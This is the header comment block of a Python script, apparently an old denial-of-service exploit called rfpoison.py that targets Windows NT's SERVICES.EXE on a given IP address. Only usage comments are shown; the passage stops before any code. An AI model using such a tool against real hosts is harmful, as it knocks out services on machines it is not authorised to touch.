#!/usr/bin/env python
# This only seems to work on NT. Also, it may have to
# be run multiple times
# before SERVICES.EXE will die. Improvements welcome.
# how to run :
# you should be copy this file to rfpoison.py file
# after that you can run rfpoison.py <ip address>
# python interpreter can download from :
